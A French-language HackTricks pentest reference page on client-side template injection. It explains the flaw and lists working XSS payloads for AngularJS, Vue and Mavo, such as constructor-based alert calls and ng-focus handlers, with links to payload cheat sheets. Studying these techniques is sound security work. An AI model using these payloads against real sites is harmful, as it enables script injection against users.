8.2 KiB
Client Side Template Injection (CSTI)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :
{% embed url="https://whiteintel.io" %}
Résumé
C'est comme une Server Side Template Injection mais dans le client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du code JavaScript arbitraire dans le navigateur de la victime.
Tester cette vulnérabilité est très similaire à celui du SSTI, l'interpréteur s'attend à un modèle et l'exécutera. Par exemple, avec une charge utile comme {{ 7-7 }}
, si l'application est vulnérable, vous verrez un 0
, et sinon, vous verrez l'original : {{ 7-7 }}
AngularJS
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une des plus notables étant ng-app
. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec ng-app
, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment le code JavaScript peut être exécuté :
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS à http://jsfiddle.net/2zs2yv7o/ et dans Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 a supprimé le sandbox donc à partir de cette version, un payload comme {{constructor.constructor('alert(1)')()}}
ou <input ng-focus=$event.view.alert('XSS')>
devrait fonctionner.
{% endhint %}
VueJS
Vous pouvez trouver une implémentation vulnérable de Vue à https://vue-client-side-template-injection-example.azu.now.sh/
Payload fonctionnel : https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Et le code source de l'exemple vulnérable ici : https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un très bon article sur CSTI dans VUE peut être trouvé à l'adresse https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Crédit : Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédit : Mario Heiderich
Vérifiez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Charge utile :
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Plus de payloads dans https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Liste de détection par force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
WhiteIntel
WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.